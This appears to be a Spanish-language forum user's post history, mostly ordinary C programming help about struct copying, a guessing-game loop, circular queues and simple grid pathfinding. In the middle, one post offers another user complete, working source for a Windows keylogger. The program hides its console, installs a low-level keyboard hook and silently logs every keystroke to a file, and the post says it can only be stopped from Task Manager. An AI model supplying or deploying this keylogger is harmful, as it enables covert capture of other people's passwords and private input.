Mensajes

[seres orgánicos]

Propiedad de los seres orgánicos por la cual crecen, se reproducen y responden a estímulos: los minerales no tienen vida.

Que yo sepa el silicio, oro, cobre, fibra de vidrio, y demás materiales usados en la electrónica no son orgánicos. Lo mismo para acero, aluminio, y otros metales que podrían usarse para hacer ese hipotético robot.

Saludos.

Pues diciéndomelo tan seguro me esperaba que cambiara, pero si te soy sincero la salida de p1 es la del principio, sin la 'z' modificada xD

EDITO:

De hecho poder se puede:

http://stackoverflow.com/questions/9127246/copy-struct-to-struct-in-c

Lo único que no sé a qué se refiere con estructuras simples. Esta noche con más calma lo miro bien, que desde siempre he creído que se podían copiar y ahora resulta que no es tan trivial...

Saludos.

Pues a mi esto me funciona perfectamente...

Código (c) [Seleccionar] Expandir

#include <stdio.h>
#include <string.h>

struct prueba {
int a;
char b;
char c[100];
};

int main()
{
struct prueba p1, p2, *p3, p4;

// se inicializa p1
p1.a = 10;
p1.b = 'A';
strcpy(p1.c, "ola k ase");

// se copia p1 a p2 y se imprime
p2 = p1;
printf("p2: %d %c %s\n", p2.a, p2.b, p2.c);

// p3 apunta a p1
p3 = &p1;

// se copia *p3 a p4 y se imprime
p4 = *p3;
printf("p4: %d %c %s\n", p4.a, p4.b, p4.c);
return 0;
}

Así que sí, puedes copiar structs directamente. En el ejemplo que te he dado también lo tienes con punteros.

Saludos.

La ruta más corta sería:
(7,2)
(7,9)
(10,9)

De hecho hay varias que son las más cortas. La que indicas es de 14 cuadrados, igual que por ejemplo, (2, 7) - (9, 7) - (9, 10) o (8, 2) - (8, 3) - (9, 3) - (9, 10), donde el primer número sería la fila y el segundo la columna.

Como primera aproximación, podrías intentar que el cuadrado rojo vaya alternativamente hacia la coordenada x e y del cuadrado azul. Es decir, primero intente ir hasta la coordenada x, si llega a la fila o columna donde está el azul o choca con algo que entonces intente ir hasta la y, si vuelve a chocar que vaya a la x, etc. y así hasta que llegue. En el ejemplo que pones, este algoritmo daría alguna de las soluciones que te he comentado arriba.

Igualmente es demasiado simple así que no le pidas mucho... Si por ejemplo llegaras a chocar y el cuadrado rojo estuviera rodeado por obstáculos, ahí te quedarías... O si chocas con algo mientras estás en la fila o columna donde está el cuadrado azul, te quedarías ahí también...

Pero bueno, igual te da alguna idea para poder empezar.

Saludos!

Tienes un problema con el algoritmo, debería ser algo así:

Código (c) [Seleccionar] Expandir

do
{
   scanf("%d", &numero);
   if (numero > nombreMystere)
   {
         printf("Menos! Intenta otra vez\n");
   }
   else if (numero < nombreMystere)
   {
         printf("Mas! Intenta otra vez\n");
   }
} while (numero != nombreMystere);

printf("Has ganado!\n");

Saludos!

"Uno de nuestros diseñadores presionó el botón porque aparentemente cuando los niños encuentran botones y no están seguros de para qué sirven, su primer instinto es pulsarlo"

Zas! xD

Hola, te dejo aquí un código de un keylogger que hice hace bastante tiempo. Coge todas las letras y las guarda en el archivo de texto de esta manera: [letra]. El programa corre en segundo plano oculto, así que cuando quieras acabarlo abre el administrador de tareas y cierra su proceso.

Código (c) [Seleccionar] Expandir

#include <windows.h>
#include <winuser.h>
#include <stdio.h>
#include <string.h>

// global hook handle is needed to use a low-level keyboard hook
HHOOK hProc;

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam);
DWORD __stdcall Keylogger (LPVOID path);
void MessageLoop (void);

int __stdcall WinMain (HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

FreeConsole ();
nShowCmd = SW_HIDE;
LPTSTR execName = GetCommandLine ();
HANDLE hThread = CreateThread (NULL, 0, (LPTHREAD_START_ROUTINE) Keylogger, (LPVOID) execName, 0, NULL);

if (hThread) return WaitForSingleObject (hThread, INFINITE);

return 1;
}

__declspec(dllexport) LRESULT CALLBACK KeyEvent (int nCode, WPARAM wParam, LPARAM lParam) {

if (nCode == HC_ACTION && (wParam == WM_SYSKEYDOWN || wParam == WM_KEYDOWN)) {

// info about the key like the virtual-key code, scan code, some flags, time of the message and extra info
KBDLLHOOKSTRUCT keyInfo = *((KBDLLHOOKSTRUCT*) lParam);

// prepare the first parameter for the function GetKeyNameText() picking only the important information
DWORD keyMessage = 1;
keyMessage |= keyInfo.scanCode << 16;
keyMessage |= (keyInfo.flags & 1) << 24;

// load the key name in a buffer
char keyName[0x100];
memset (keyName, 0, 0x100);
keyName[0] = '[';
int i = GetKeyNameText (keyMessage, keyName+1, 0xFE);
keyName[i+1] = ']';

// write the buffer in file
FILE *f = fopen ("log.txt", "a+");
fputs (keyName, f);
fclose (f);
}

return CallNextHookEx (NULL, nCode, wParam, lParam);
}

DWORD __stdcall Keylogger (LPVOID path) {

// try to get a module handle for our executable using GetModuleHandle(). if fails, we try to load our executable as a library.
HINSTANCE hExec = GetModuleHandle (NULL);
if (!hExec) hExec = LoadLibrary ((LPCTSTR) path);

// two methods failed so return error
if (!hExec) return 1;

// install the hook
hProc = SetWindowsHookEx (WH_KEYBOARD_LL, (HOOKPROC) KeyEvent, hExec, 0);

// message loop to manage all the incoming messages
MessageLoop ();
UnhookWindowsHookEx (hProc);
return 0;
}

void MessageLoop (void) {

MSG message;

while (GetMessage (&message, NULL, 0, 0)) {

TranslateMessage (&message);
DispatchMessage (&message);
}
}


Espero que te sirva, saludos!

Vale ahora lo he entendido, no solo hay que procesar los disparos sino que si no han impactado o salido del mapa no se deben borrar y por lo tanto se deben volver a comprobar más tarde.

Me he levantado hace poco y estoy algo espeso... xD

A ver si luego doy con alguna idea y te comento.

Un saludo!

Por que te lo cargas?

Código [Seleccionar] Expandir

while (in != out) ComprobarDisparo(disparos[out++]);

Si 'in' ha pasado por ejemplo a 3, y 'out' está en 255, al sumarle uno a 'out' este pasa a 0. Como los índices siguen siendo distintos, se seguirá en el bucle hasta que los índices sean iguales.

Yo usaría una cola circular, es sencillo y muy práctico.

Código [Seleccionar] Expandir

disparos[MAX];
int in=0, out=0;

Cuando la nave dispara:

Código [Seleccionar] Expandir

disparos[in++]=loquesea;

Cuando quieres comprobar los disparos que una nave tiene pendiente:

Código [Seleccionar] Expandir

while (out != in) ComprobarDisparo(disparos[out++]);

Acuérdate que entonces tendrías que comprobar que los indicies no han sobrepasado la dimensión del vector. Lo puedes hacer con un if siempre que leas o escribas algo en 'disparos', o sino puedes jugar con el tamaño de las variables tipo:

Código [Seleccionar] Expandir

disparos[256];
unsigned char in=0, out=0;

De tal manera que los índices al llegar al 255 y sumarle uno, directamente pasan a 0 y empezarías a sobreescribir disparos antiguos que en teoría ya habrás procesado.

Espero que te sirva, un saludo!